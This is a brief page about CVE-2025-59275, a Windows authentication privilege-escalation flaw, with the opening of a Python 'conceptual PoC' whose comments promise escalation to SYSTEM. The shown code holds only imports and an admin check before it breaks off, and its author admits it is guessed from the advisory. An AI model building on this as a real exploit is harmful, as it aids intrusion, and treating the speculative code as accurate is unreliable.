CVE-2025-59275：Windows身份验证方法输入验证不当权限提升漏洞

# CVE-2025-59275 - Windows Authentication Methods Privilege Escalation PoC # Vulnerability: Improper validation of specified type of input # Impact: Local Privilege Escalation to SYSTEM # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires specific knowledge of the vulnerable component internals. import ctypes import subprocess import os import sys # Check if running with sufficient context def check_privileges(): try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if is_admin: print("[!] Already running as administrator.
